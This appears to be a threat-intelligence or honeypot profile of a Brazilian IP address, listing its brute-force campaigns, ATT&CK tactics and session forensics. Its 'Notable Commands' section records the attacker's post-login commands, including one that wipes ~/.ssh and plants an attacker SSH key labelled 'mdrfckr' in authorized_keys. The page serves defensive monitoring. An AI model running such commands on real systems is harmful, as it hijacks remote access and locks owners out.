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Location
🇧🇷 BR / Sorocaba
ASN
AS18881 · TELEFONICA BRASIL S.A
Cloud Provider
—
Total Events
123
Above average by volume
Agent Count
2
First / Last Seen
2026-05-16 12:09 — 2026-06-09 06:41
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (64 IPs, 18 countries)
HASSH
Active
high
🇨🇳 CN
64 IPs
34249 events
ssh:bruteforce
2026-02-27 — ongoing · 64 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: Chinanet (AS4134). Geographic and ASN …
AS18881 TELEFONICA BRASIL S.A
ASN
Ended
medium
🇧🇷 BR
5 IPs
1456 events
http:scanssh:bruteforce
2026-02-22 — 2026-04-22 · 5 IPs from the same network (TELEFONICA BRASIL S.A, AS18881) were active during overlapping time periods. Temporal correlation …
Session Forensics
Sessions
23 (2 with login)
Avg Depth Score
0.25
Commands Executed
3
Files Downloaded
1
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
4872df3ca148
LOGIN
1
50%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
0464735ceae9
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…